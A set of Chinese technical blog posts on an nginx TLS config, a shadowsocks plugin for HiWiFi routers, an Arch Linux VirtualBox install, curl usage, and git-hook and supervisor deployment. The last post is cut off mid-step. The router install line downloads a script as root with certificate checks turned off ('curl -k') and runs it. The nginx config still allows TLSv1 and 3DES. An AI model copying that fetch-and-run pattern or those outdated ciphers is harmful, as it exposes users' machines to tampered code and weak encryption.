        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_certificate     /etc/letsencrypt/live/example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

        ssl_dhparam /path/to/your/dhparam.pem;
        ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;

        ssl_prefer_server_ciphers  on;
        add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;";
        ssl_session_cache shared:SSL:5m;
        ssl_session_timeout 1h;
        
        root /path/to/your/folder/;
        index index.html;
}

server {

    listen 80;
    listen [::]:80;
    server_name example.com www.example.com;
    return 301 https://$server_name$request_uri;
}

参考

[1]. Supporting HTTP/2 for Google Chrome Users [2]. 为什么我们应该尽快支持 ALPN? [3]. Nginx官方教程 INSTALLING NGINX OPEN SOURCE [4]. serverfault问题: Nginx configured with http2 doesn’t deliver HTTP/2 [5]. TLS 1.2 Cipher Suite Black List [6]. Optimizing Nginx for Best Performance

极路由+shadowsocks翻墙

翻墙折腾无止境. 使用路由器翻墙的一个好处在于,对于一些翻墙配置很繁琐的设备,只需要简单地连上路由wifi就可以实现翻墙, 来家里的朋友也可以不需要配置就可以一连翻墙.

一些背景

在旧版本的极路由已经有很不错的翻墙设置方式,感谢前人的大树:三流火的shadwosocks插件.在旧版本的极路由上 设置shadowsocks翻墙可已参考极路由Shadowsocks家庭无痛翻墙实践.

最近极路由更新了新版本,管理界面风格大变导致之前的插件不能使用,在网上找了一段时间也没有看到有人对之前的 插件进行更新,所以决定自己写一个(其实后来才知道stary.love也有可用的插件,比我修改的插件功能强大很多). 所谓的自己写也只是在前人的基础上修改为适应新的极路由后台管理假面. 这过程要感谢stary.love的帮助,为我提供了 早期插件的一些源代码,以及许多帮着测试使用的人.

一些方法

项目地址: qiwihui/hiwifi-ss, 现在插件的状态:

  1. 界面结构适应了新的hiwifi后台管理;
07-ss-settings
  1. 开启关闭翻墙功能和设置dns解析功能也都恢复;
07-ss-advance
  1. 新增加了最新的gfwlist列表(截止到2016年8月7日)的路由规则,解决了之前有部分网站无法访问的问题;

安装过程

(1). 开启极路由开发者模式

需要开发者模式才能安装. 网上有很多教程,不赘述.

(2). 登录路由器, 一键安装脚本.

极路由默认开启1022端口作为ssh端口,故使用ssh root@192.168.199.1 -p 1022登录路由器,运行如下一键脚本:

cd /tmp && curl -k -o shadow.sh https://raw.githubusercontent.com/qiwihui/hiwifi-ss/master/shadow.sh && sh shadow.sh && rm shadow.sh

然后登录后台管理界面,在互联网菜单下的shadowsocks设置配置ss账号就可以了.

一些展望

未来要做的一些工作:

  1. 功能的改进: 包括但不限于ss版本的更新, 规则的更新, 流量混淆等;
  2. 可能支持更多种类的工具;
  3. 最重要的是: 开源. 包括底层的代码重写或者是找到之前的代码.

一些感想

  • “免费“是最贵的

怎么说呢, 我在最开始的时候, 寻找免费的vpn是获得翻墙的唯一方式, 这种方式的不好之处在于: vpn不稳定, 经常换, 而且花费在寻找上的精力和时间算下来不合算. 之后精力了地下铁路vpn的消失之后, 自己搭建翻墙才成为我的主要翻墙 方式. 一个月花费的费用不到10美元, 带来的时稳定的流量和方式. VPS+shadowsocks/v2ray就可以提供稳定持久的方式.

  • 风险

不怎么使用vpn(免费或者收费)以及一些其他的收费翻墙服务,一则担心不安全, 流量劫持或者流量分析都有可能,甚者蜜罐, 二则是重点观察对象, 服务失效的可能性还是存在的. 因此, 加密翻墙流量和混淆翻墙行为时十分重要的过程.

  • 技术人员获取资讯和信息的广度和及时性

因为GFW, 墙内封闭的环境使得获取技术知识的广度和及时性都受到了很严重的影响, 翻墙让搞技术的我们与世界更接近.

分享 @lepture的一个tweet:

「我的互联网,上谷歌维基搜知识,上Reddit看看头条,上YouTube学习和开眼界,上Twitter关注一些正在改变世界的人和事, 去Quora上看看好的问题和回答,去SlideShare上学习以及了解不同的想法和观点」

总结

翻墙在于不断折腾.

在VirtualBox安装Arch Liux初步指南

简单地写一下在VirtualBox上安装Arch Linux的过程,以此为在PC上安装做准备。在PC上安装的过程和下面描述的基本一致。

##0x00 准备

  1. 下载iso文件:在Arch官网上下载最新的镜像,这里 我选用了163.com节点的资源,下载archlinux-2015.01.01-dual.iso;

  2. 检查文件的完整性:在MAC中使用md5或者sha1检验文件的完整行,并和下载站点提供的值进行比较。

    <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal">p</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">ss</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">s</span><span class="mord mathnormal">ha</span><span class="mord">1</span><span class="mord mathnormal">a</span><span class="mord mathnormal">rc</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">in</span><span class="mord mathnormal">ux</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2014.12.01</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">u</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord">.</span><span class="mord mathnormal">i</span><span class="mord mathnormal">so</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mord mathnormal">A</span><span class="mord">1</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal">rc</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">in</span><span class="mord mathnormal">ux</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2014.12.01</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">u</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord">.</span><span class="mord mathnormal">i</span><span class="mord mathnormal">so</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">86085153</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">97</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">0097</span><span class="mord mathnormal">fd</span><span class="mord">0</span><span class="mord mathnormal">a</span><span class="mord">02496</span><span class="mord mathnormal">e</span><span class="mord">67</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">85138</span><span class="mord mathnormal">c</span><span class="mord">1</span><span class="mord mathnormal">ba</span><span class="mord">5</span></span></span></span> md5 archlinux-2014.12.01-dual.iso 
    MD5 (archlinux-2014.12.01-dual.iso) = 667ed3c5e935666edfd54a2271e05b72
    

##0x01 创建虚拟机

  1. 给虚拟机一个名字

  2. 内存:最小为256MB

  3. 创建新的虚拟磁盘

  4. 文件类型

  5. 动态分配

  6. 文件位置和大小,最小10GB

  7. 如果要安装桌面环境的话就勾选Enable 3D Acceleration

  8. 第一次启动虚拟机时,选取之前下载的ISO文件

##0x01 开始安装

  1. 选择32位或者64位Arch

    一旦看到如下提示,就可以开始进行配置了:

  2. 更改键盘布局和设置语言:

    默认键盘布局为us,非us布局可以用如下命令修改:

    # loadkeys layout
    

    layout可以是uk, dvorak等。设置语言:

  3. 磁盘分区

    先看一下磁盘状态:

    # ls /dev
    

    开始啦,一般创建四个分区:/, /boot, /home, swap

    # gdisk /dev/sda
    

    当出现下面命令时, 开始分区,一下以/boot分区为例:

    Command (? for help):
    

    a. 创建新分区:‘n’ b. 分区号码:回车默认从0开始递增 c. “first sector”: 回车默认从上一个分区结束处开始,初始为0 d. “last sector”: ‘+250MB’ e. “hex code”: 回车默认(8300 为“Linux File System“),swap分区输入8200, 见这儿

    依次给swap分配’+1G’(和分配的RAM一样大),/boot分配’+8G’,/home分配’+1G’,再次看一下磁盘的状态,可以看到已经分配好了, 键入’w’并回车即可保存修改。

  4. 格式化分区

    再次回到命令行:

    root@archiso ~ #
    

    格式化分区:

    # mkfs -t ext4 /dev/sda1
    # mkfs -t ext4 /dev/sda3
    # mkfs -t ext4 /dev/sda4
    
    # mkswap /dev/sda2
    
  5. 挂载新分区

    # swapon /dev/sda2
    
    # mount /dev/sda3 /mnt
    # cd /mnt
    # mkdir boot home
    # mount /dev/sda1 boot
    # mount /dev/sda4 home
    
  6. 安装Arch

    # cd /
    # pacstrap /mnt base base-devel
    
  7. 生成fstab文件

    # genfstab -p /mnt >> /mnt/etc/fstab
    

    可以看看fstab里面的内容:

    # more /mnt/etc/fstab
    
  8. 初始化安装Boot Loader

    # pacstrap /mnt syslinux
    
  9. 配置安装

    运行以下命令:

    # arch-chroot /mnt
    

    得到:

    sh-4.2#
    

    这个shell很基础,用Bash也许更好些:

    # bash
    

    得到:

    [root@archiso /]#
    

    设置语言:

    # nano /etc/locale.conf
    

    添加:

    LANG="en_US.UTF-8"
    
    # nano /etc/locale.gen
    

    将下面两行前面#去除:

    en_US.UTF-8 UTF-8
    de_DE.UTF-8 UTF-8
    

    完成语言设置:

    # locale-gen
    

    设置时间:

    # ln -s /usr/share/zoneinfo/<your_state>/<your_city> /etc/localtime
    

    比如我设置的是:

    # ln -s /usr/share/zoneinfo/Asia/Chongqing /etc/localtime
    

    改hostname:

    # nano /etc/hostname
    
  10. 完成Bootloader安装

    # cd /boot/syslinux/
    

    打开syslinux.cfg文件,找到“comboot modules“一段:

    # more syslinux.cfg
    

    将其中列举的文件copy到本地,同时还要加上’libutil.c32’:

    # cp /usr/lib/syslinux/bios/menu.c32 .
    # cp /usr/lib/syslinux/bios/vesamenu.c32 .
    # cp /usr/lib/syslinux/bios/chain.c32 .
    # cp /usr/lib/syslinux/bios/hdt.c32 .
    # cp /usr/lib/syslinux/bios/reboot.c32 .
    # cp /usr/lib/syslinux/bios/poweroff.c32 .
    # cp /usr/lib/syslinux/bios/libutil.c32 .
    

    一旦完成上述设置,

    # extlinux --install /boot/syslinux
    # dd conv=notrunc bs=440 count=1 if=/usr/lib/syslinux/bios/gptmbr.bin of=/dev/sda
    # mkinitcpio -p linux
    
  11. 完成安装

    最后,更改root密码:

    # passwd
    

    输入两次exit退回到:

    [root@archiso /]#
    

    umount所有的分区:

    # umount /mnt/boot
    # umount /mnt/home
    # swapoff /dev/sda2
    # umount /mnt
    

    在重启之前最后一步,设置/boot分区的BIOS标识为’bootable’:

    # sgdisk /dev/sda --attributes=1:set:2
    
  12. 重启Arch

    # reboot
    

    重启之后会再次进入CD启动,这时,去除安装CD,再次重启:

    Devices > CD/DVD Devices > Remove disk from virtual drive
    

    等待一小会:

    Congradulations!

  13. 后续工作

    链接网络:

    dhcpcd
    

    安装’sudo’:

    # pacman -S sudo
    

    添加’sudoer’:

    # nano /etc/sudoers
    
    ##
    ## User privilege specification
    ##
    root ALL=(ALL) ALL
    qiwihui ALL=(ALL) ALL
    

    保存,并log out:

    # exit
    

    以新的ID和密码重新登录。

    最后,每次登录的时候自动获取ip:

    # sudo systemctl enable dhcpcd@eth0.service
    

这样最基本的Arch Linux就好了,Desktop Environment就不装了。

0x02 参考文档

9个值得知道的cURL的用法

对于 HTTP 工程师和 API 设计师来说,使用命令行操作 HTTP 是非常有用的技能。cURL 库和 curl 命令可以给你设计请求,放入管道并查看相应的能力。curl 能力的缺点在于它能覆盖多广的 命令选项。使用 curl --help 会展示出150条不同的选项。这篇文章演示了9个基本的,现实程序用到的 curl 命令。

在这篇教程中我们会使用httpkit的 echo 服务做为端点,回显服务的响应 是它收到 HTTP 请求的 JSON 表示。

创建请求

我们从最简单的 curl 命令开始。

请求

curl http://echo.httpkit.com

响应

{
  "method": "GET",
  "uri": "/",
  "path": {
    "name": "/",
    "query": "",
    "params": {}
  },
  "headers": {
    "host": "echo.httpkit.com",
    "user-agent": "curl/7.24.0 ...",
    "accept": "*/*"
  },
  "body": null,
  "ip": "28.169.144.35",
  "powered-by": "http://httpkit.com",
  "docs": "http://httpkit.com/echo"
}

就这样,我们用 curl 创建了一个请求,curl 使用的 HTTP 动词默认为 GET,请求的资源指向的是 httpkitecho 服务:http://echo.httpkit.com

你可以添加路径和查询变量:

请求

curl http://echo.httpkit.com//path?query=string

响应

{ ...
  "uri": "/path?query=string",
  "path": {
    "name": "/path",
    "query": "?query=string",
    "params": {
      "query": "string"
    }
  }, ...
}

设置请求方法

curl默认的请求方法为 GET ,可以用 -X 参数设置成任何你想要的方法,通常为 POSTPUTDELETE 方法,甚至是自定义的方法。

请求

curl -X POST echo.httpkit.com

响应

{
    "method": "POST",
    ...
}

正如你看到的,http:// 协议前缀可以不使用,因为这是默认假定的。接着实施 DELETE 方法:

请求

curl -X DELETE echo.httpkit.com

响应

{
    "method": "DELETE",
    ...
}

设置请求头部

请求头部允许客户端给服务器提供诸如授权,内容类型等信息。比如,OAuth2 使用 Authorization 头 来传递访问令牌(access tokens)。curl 使用 -H 选项设置自定义头部。

请求

curl -H "Authorization: OAuth 2c4419d1aabeec" \
     http://echo.httpkit.com

响应

{...
"headers": {
    "host": "echo.httpkit.com",
    "authorization": "OAuth 2c4419d1aabeec",
  ...},
...}

可以使用 -H 多次来设置多个头部。

请求

curl -H "Accept: application/json" \
     -H "Authorization: OAuth 2c3455d1aeffc" \
     http://echo.httpkit.com

响应

{ ...
  "headers": { ...
    "host": "echo.httpkit.com",
    "accept": "application/json",
    "authorization": "OAuth 2c3455d1aeffc" 
   }, ...
}

发送请求体

现今许多有名的 HTTP API 使用 application/jsonapplication/xmlPOSTPUT 资源, 而不是用HTML化的数据。我们试试 PUT 一些 JSON 数据到服务器上。

请求

curl -X PUT \
     -H 'Content-Type: application/json' \
     -d '{"firstName":"Kris", "lastName":"Jordan"}'
     echo.httpkit.com

响应

{
   "method": "PUT", ...
   "headers": { ...
     "content-type": "application/json",
     "content-length": "40"
   },
   "body": "{\"firstName\":\"Kris\",\"lastName\":\"Jordan\"}",
   ...
 }

使用文件作为请求体

将 JSON/XML 写到命令行中是令人头疼的,尤其有时这个文件很大时。幸运的是, curl@readfile 可以很容易地读取文件的文本。如果上面例子中的 JSON 保存为文件 example.json, 我们可以这么做:

请求

curl -X PUT \
     -H 'Content-Type: application/json' \
     -d @example.json
     echo.httpkit.com

发送 HTML 表单数据

如果不能发送带有数据的请求体,可以设置类似 POST 的方法真是没什么用。也许我们可以试试发送 HTML 表单数据。使用 -d 选项,我们可以制定 URL 编码的名称和值。

请求

curl -d "firstName=Kris" \
     -d "lastName=Jordan" \
     echo.httpkit.com

响应

{
  "method": "POST", ...
  "headers": {
    "content-length": "30",
    "content-type":"application/x-www-form-urlencoded"
  },
  "body": "firstName=Kris&lastName=Jordan", ...
}

注意到 POST 这个方法,即使我们没有指明方法,当 curl 看到表单数据时它会指定 POST 方法。 可以使用 -X 选项来覆盖这个方法。请求的 Content-Type 也被自动设置为 application/x-www-form-urlencoded, 这样服务器就知道怎么解析数据了。最终,请求体由编码了每一个表单域的 URL 构成。

发送 HTML Multipart/file 表单(上传文件)

当涉及到文件上传的表单时,正如你从写上传文件表单时知道的那样,这些使用 multipart/form-data 文本类型, 带有 enctype 属性。cURL 使用 -F 配合上面介绍的 @readFile 宏来处理。

请求

curl -F "firstName=Kris" \
     -F "publicKey=@idrsa.pub;type=text/plain" \
     echo.httpkit.com

响应

{
  "method": "POST",
  ...
  "headers": {
    "content-length": "697",
    "content-type": "multipart/form-data;
    boundary=----------------------------488327019409",
    ... },
  "body": "------------------------------488327019409\r\n
           Content-Disposition: form-data;
           name=\"firstName\"\r\n\r\n
           Kris\r\n
           ------------------------------488327019409\r\n
           Content-Disposition: form-data;
           name=\"publicKey\";
           filename=\"id_rsa.pub\"\r\n
           Content-Type: text/plain\r\n\r\n
           ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAkq1lZYUOJH2
           ... more [a-zA-Z0-9]* ...
           naZXJw== krisjordan@gmail.com\n\r\n
           ------------------------------488327019409
           --\r\n",
...}

-d 选项一样,当使用 -d 选项时 curl 会自动地默认使用 POST 方法,multipart/form-data 文件 类型头部,计算长度并组成请求体。请注意 @readFile  宏是怎样读取一个文件的文本为任何字符的,这个不是 一个单独的操作,;text/plain 指定了文件的 MIME 文本类型。在未指定的情况下,curl 会尝试嗅探文本类型。

测试虚拟主机,不使用 DNS

通常,在不修改 DNS 覆盖主机的情况下测试一个虚拟主机或者是缓存代理时很有用的。只需使用 cURL 将请求指向 主机的 IP 地址 并覆写 Host 头。

请求

curl -H "Host: google.com" 50.112.251.120

响应

{
  "method": "GET", ...
  "headers": {
    "host": "google.com", ...
  }, ...
}

查看响应头部

API 正越来越多的利用响应头部来提供授权,速率限制,缓存等方面的信息。cURL 使用 -i 选项来查看响应头部 和响应体。

请求

curl -i echo.httpkit.com 

响应

HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Wed, 29 Aug 2012 04:18:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 391
Connection: keep-alive
X-Powered-By: http://httpkit.com

{
  "method": "GET",
  "uri": "/", ...
}

原文:9 uses for cURL worth knowing

使用 Git Hooks 实现项目自动部署

自动化部署解放双手,发展生产力,更重要的是可以减少部署过程中的错误操作。

之前使用git做为我博客的版本控制,使用Github Pages托管我的博客,所以部署方面都交给了github, 但是当我要部署另一个web应用时,显然要部署在自己的VPS上,把VPS做为git服务器的同时,每次push 代码到服务器上都要手动运行一次脚本更新服务,这样做简直劳神伤力。

幸运的是Git提供了Hook机制用来帮助我们实现自动部署。Hooks分为客户端和服务端,可以用来处理不同 的工作,这些hooks都被存储在 Git 目录下的hooks子目录中, 即大部分项目中的.git/hooks。 Git 默认会放置一些脚本样本在这个目录中,除了可以作为hooks使用, 这些样本本身是可以独立使用的,这些样本名都是以.sample结尾,必须重新命名。

这次主要用到服务端的hooks: post-receive。当用户在本地仓库执行git push命令时,服务器上运端 仓库就会对应执行git receive pack命令;在所有远程仓库的引用(ref)都更新后,这个钩子就会被调用。 与之对应的是pre-receive,这个会在更新之前被调用。

环境要求:

  1. 要求客户端和服务端都有git环境,而且服务端最好已经部署好了;
  2. 能连上服务器

0x01 实践

我们的实践过程会按照下边的过程实施:


  +------------------------+          +------------------------+
  |                        |          |                        |
  |  +-----------------+   |   push   |  +-------------------+ |
  |  |local repository |---+----------+->| remote repository | |
  |  +-----------------+   |          |  +-------------------+ |
  |                        |          |             |          |
  +------------------------+          |             |pull      |
                                      |             V          |
       local machine                  |  +-------------------+ |
                                      |  |     deployment    | |
                                      |  +-------------------+ |
                                      |                        |
                                      +------------------------+

                                               server

在server上初始化一个远程裸仓库:

$ cd ~
$ mkdir remoteRepo
$ cd remoteRepo
$ git init --bare webapp.git

在server上初始化一个本地仓库,做为web app的代码:

$ cd ~
$ mkdir deployment
$ cd deployment
$ git clone ~/remoteRepo/webapp.git webapp

为远程仓库添加hook:

$ cd ~/remoteRepo/webapp.git/hooks
$ vim post-receive
$ cat post-receive

post-receive中的命令:

#!/bin/sh
# Check the remote git repository whether it is bare
IS_BARE=$(git rev-parse --is-bare-repository)
if [ -z "$IS_BARE" ]; then
    echo >&2 "fatal: post-receive: IS_NOT_BARE"
    exit 1
fi

unset GIT_DIR
# current user is git
DeployPath=/home/git/deployment/webapp
if [ ! -d $DeployPath ] ; then
    echo >&2 "fatal: post-receive: DEPLOY_DIR_NOT_EXIST: \"$DeployPath\""
    exit 1
fi

cd $DeployPath
git add . -A && git stash
git pull origin master

post-receive添加可执行权限

chmod +x post-receive

为local machined的本地仓库添加远程仓库源:

cd <your-local-repository-folder>
$ git remote add deploy git@<server.ip>:/home/git/remoteRepo/webapp.git

# then you need to merge conflict between local changes and deploy/master before you push it.
# 'git merge remotes/deploy/master' or some other git commands.

$ git push deploy master

或者从头开始创建一个项目:

git init

这样,当我们在本地完成更新并push到server上时,这些代码就会被自动更新。

0x02 后来

改进1

可以在最初在server上创建裸仓库时使用local machine上的现有项目,即将local machine上 的项目仓库导出为裸仓库 — 即一个不包含当前工作目录的仓库:

$ git clone --bare my_project my_project.git

或者

$ cp -Rf my_project/.git my_project.git

然后将这个裸仓库移到server上

$ scp -r my_project.git git@<server.ip>:/home/git/remoteRepo

之后,其他人要进行更新时就可以clone这个项目了:

$ git clone git@<server.ip>:/home/git/remoteRepo/my_project.git

改进2

有一种情况是当本地更新了webapp,结果push到远程仓库后这个更新被reset了(虽然我觉得这个问题应该避免, 但是还是有可能发生),这是,简单地在hook中使用git push deploy master是无法完成这个过程的,因为 远端的代码版本低于deploy端的代码版本,再使用pull的时候就不能实现同步,这时就应该使用另一种方式 更新代码:

git fetch --all
git reset --hard origin/master

git reset把HEAD 指向了新下载的未合并的节点,也就是在local machine上reset之后的。

参考:git 放弃本地修改 强制更新

使用Nginx,supervisor在DigitalOcean中部署tornado项目

一直在想把微信的公众号的文章导出为RSS阅读,方便阅读和减少对微信的依赖,后来看到 zhu327/rss 这个项目,这是一个用来生成微博,微信公众号,知乎日报 RSS 的Web APP。 但是这个项目的demo部署在Red Hat的openshift上, 囿于对这个cloud的操作不是很熟,所以想着把这个项目重新部署到自己在DigitalOcean的机器上,就fork了这个项目开始啦!

以下涉及到的内容有:

  • Linux创建用户和修改用户组
  • git hooks实现自动部署
  • tornado项目的基本框架结构
  • supervisor管理进程
  • Nginx配置HTTP服务代理
  • DNS的记录添加

基本服务器设置

因为之前并没有在我的服务器上创建过其他用户,如果直接用root用户的话不好,所以需要专门的一个账户来负责部署。

  1. 登陆服务器:ssh root@<server-ip>

  2. 创建一个用户deploy: sudo adduser deploy

  3. 将用户加入sudoers中: sudo usermod -a -G sudo deploy

  4. 添加远程连接的权限,这样就省去了输入密码了:

    sudo su - deploy
    mkdir .ssh
    chmod 700 .ssh
    touch .ssh/authorized_keys
    chmod 600 .ssh/authorized_keys
    

    其中,700表示只有文件拥有者才能读,写以及打开文件,600表示只能读和写。

  5. 接着将自己的公钥加入authorized_keys文件中,这个公钥在自己本机~.ssh/id_rsa.pub中。没有的话可以用 ssh-keygen -t rsa -C "qwh005007@gmail.com"来生成。

创建使用git hooks的自动部署

自动部署的好处就是省去了每次都要上服务器。可以参见之前的一篇博客 使用 Git Hooks 实现项目自动部署 来创建这个远程的git server。

这里,我们要先fork zhu327/rss 这个项目,然后用git clone --bare rss rss.git生成原来 项目的裸仓库,然后将其复制到服务器上。我使用的是~/remoteRepo/rss.git做为git server,~/deployment/rss做为真正 生产的代码文件目录。

其中,git hooks中的post-receive文件的内容为

#!/bin/sh
# Check the remote git repository whether it is bare
IS_BARE=$(git rev-parse --is-bare-repository)
if [ -z "$IS_BARE" ]; then
echo >&2 "fatal: post-receive: IS_NOT_BARE"
exit 1
fi

unset GIT_DIR
# current user is git
DeployPath=/home/deploy/deployment/rss
if [ ! -d $DeployPath ] ; then
echo >&2 "fatal: post-receive: DEPLOY_DIR_NOT_EXIST: \"$DeployPath\""
exit 1
fi

cd $DeployPath
git add . -A && git stash
git pull origin master

修改源代码

zhu327/rss 项目的部署在openshift,为了将其部署在自己服务器上,修改 是必须的。

  • 删除了项目中的openshift hooks部分

  • 将其中用到openshift环境变量OPENSHIFT_DIY_IPOPENSHIFT_DIY_PORT修改为对应的localhost8000端口

  • diy/templates/中的https://diy-devz.rhcloud.com修改为之后要用到的地址 http://rss.daozhang.info

  • 然后将修改好的代码在本地的virtualenv环境中测试,并生成需要的python的模块文件requirement.txt。如下:

    Jinja2==2.7.3
    MarkupSafe==0.23
    backports.ssl-match-hostname==3.4.0.2
    certifi==2015.04.28
    lxml==3.4.4
    python-dateutil==2.4.2
    python-memcached==1.54
    six==1.9.0
    tornado==4.2
    wsgiref==0.1.2
    

这些都好了之后就可以将本地的文件第一次push到服务器上了。因为之前已经设置好了git hook,所以可以在服务器上的 deployment/rss看到项目的代码更新了。

使用supervisor管理进程

supervisor是Linux中非常好用的进程管理工具,我们将使用它和Nginx一起来组成我们的服务的部署。

  1. 安装supervisor:pip install supervisor 或者 sudo apt-get install supervisor

  2. 创建一个目录来装supervisor的配置文件:mkdir -p ~/local/etc/supervisord

  3. 创建superviosr的出要的配置文件:touch ~/local/etc/supervisord.conf,并加入如下内容:

     [unix_http_server]
     file=/home/deploy/tmp/supervisor.sock
      
     [supervisord]
     user=deploy
     logfile=/home/deploy/logs/user/supervisord.log
     logfile_maxbytes=50MB
     logfile_backups=10 
     loglevel=info
     pidfile=/home/deploy/local/run/supervisord.pid supervisord.pid)
      
     [rpcinterface:supervisor]
     supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
      
     [supervisorctl]
     serverurl=unix:///home/deploy/tmp/supervisor.sock
      
     [include]
     files = /home/deploy/local/etc/supervisord/*.ini
    

    其中我们都适用用户目录下创建的locallogstmp文件夹来装这些文件。

  4. 创建一个rss.ini的文件用来作为rss服务:touch ~/local/etc/supervisord/rss.ini,放入如下内容:

    [program:rss]
    command=python2.7 /home/deploy/deployment/rss/diy/start.py
    

    其中,start.py是这个tornado项目的入口。

  5. 启动服务:supervisord -c /home/deploy/local/etc/supervisord.conf,因为用的是非默认的配置文件,这里 指定相应的配置文件位置。

  6. 一旦我们在之后修改了项目push了之后,我们需要重新启动rss:supervisorctl restart rss,因此,为了方便, 可以将这条命令加入项目git hooks中的post-receive文件末尾。

配置Nginx

Nginx很好很强大,我们用它来做为我们的HTTP服务器。

  1. 安装Nginx,这里,我们适用从源代码安装Nginx,并配置一些log,pid等的目录到deploy的用户目录下,这里,写 一个安装的脚本install.sh

    mkdir -p ~/src
    mkdir -p ~/tmp/nginx/fcgi ~/tmp/nginx/proxy ~/tmp/nginx/client
    
    cd ~/src
    curl -O  http://nginx.org/download/nginx-1.2.1.tar.gz
    tar -xzvf nginx-1.2.1.tar.gz
    cd nginx-1.2.1
    
    ./configure   --prefix=$HOME/local/nginx  \
    --sbin-path=$HOME/local/sbin/nginx \
    --conf-path=$HOME/local/etc/nginx.conf  \
    --error-log-path=$HOME/logs/user/nginx/error.log \
    --http-log-path=$HOME/logs/user/nginx/access.log \
    --pid-path=$HOME/local/run/nginx/nginx.pid \
    --lock-path=$HOME/local/lock/nginx.lock \
    --http-client-body-temp-path=$HOME/tmp/nginx/client/ \
    --http-proxy-temp-path=$HOME/tmp/nginx/proxy/  \
    --http-fastcgi-temp-path=$HOME/tmp/nginx/fcgi/ \
    --with-http_flv_module \
    --with-http_ssl_module \
    --with-http_gzip_static_module
    
    make && make install
    

    在Nginx的安装过程中会列出这些配置信息:

    Configuration summary
      + using system PCRE library
      + using system OpenSSL library
      + md5: using OpenSSL library
      + sha1: using OpenSSL library
      + using system zlib library
    
      nginx path prefix: "/home/deploy/local/nginx"
      nginx binary file: "/home/deploy/local/sbin/nginx"
      nginx configuration prefix: "/home/deploy/local/etc"
      nginx configuration file: "/home/deploy/local/etc/nginx.conf"
      nginx pid file: "/home/deploy/local/run/nginx/nginx.pid"
      nginx error log file: "/home/deploy/logs/user/nginx/error.log"
      nginx http access log file: "/home/deploy/logs/user/nginx/access.log"
      nginx http client request body temporary files: "/home/deploy/tmp/nginx/client/"
      nginx http proxy temporary files: "/home/deploy/tmp/nginx/proxy/"
      nginx http fastcgi temporary files: "/home/deploy/tmp/nginx/fcgi/"
      nginx http uwsgi temporary files: "uwsgi_temp"
      nginx http scgi temporary files: "scgi_temp"
    
  2. 添加路径到PATH中:

    export PATH=/home/you/local/sbin:$PATH
    source ~/.bashrc
    
  3. 创建配置文件:~/local/etc/nginx.conf,在其中添加我们服务的配置:

    #user  deploy;
    worker_processes  1;
    
    error_log /home/deploy/logs/user/nginx/error.log;
    pid /home/deploy/local/run/nginx/nginx.pid;
    
    events {
        worker_connections  1024;
    }
    
    http {
        upstream rsstornado {
            server 127.0.0.1:8000;
        }
        include       mime.types;
        default_type  application/octet-stream;
    
        access_log /home/deploy/logs/user/nginx/access.log;
    
        keepalive_timeout 65;
        proxy_read_timeout 200;
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        gzip on;
        gzip_min_length 1000;
        gzip_proxied any;
        # Relevant docs: http://wiki.nginx.org/HttpGzipModule#gzip_types
        # Enables compression for additional MIME-types besides "text/html".
        # "text/html" is always compressed.
        gzip_types text/plain text/css text/xml
                   application/x-javascript application/xml
                   application/atom+xml text/javascript;
    
        # Only retry if there was a communication error, not a timeout
        # on the Tornado server (to avoid propagating "queries of death"
        # to all frontends)
        proxy_next_upstream error;
    
        server {
            listen       80;
            # server_name  localhost;
            # Allow file uploads
            client_max_body_size 50M;
    
            location / {
                proxy_pass_header Server;
                proxy_set_header Host $http_host;
                proxy_redirect off;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Scheme $scheme;
                proxy_pass http://rsstornado;
            }
    
        }
    }
    

    其中,upstream rsstornado指向了我们的rss的端口。

  4. 之后使用/home/deploy/local/sbin/nginx -t来检查这些配置,期望的输出为:

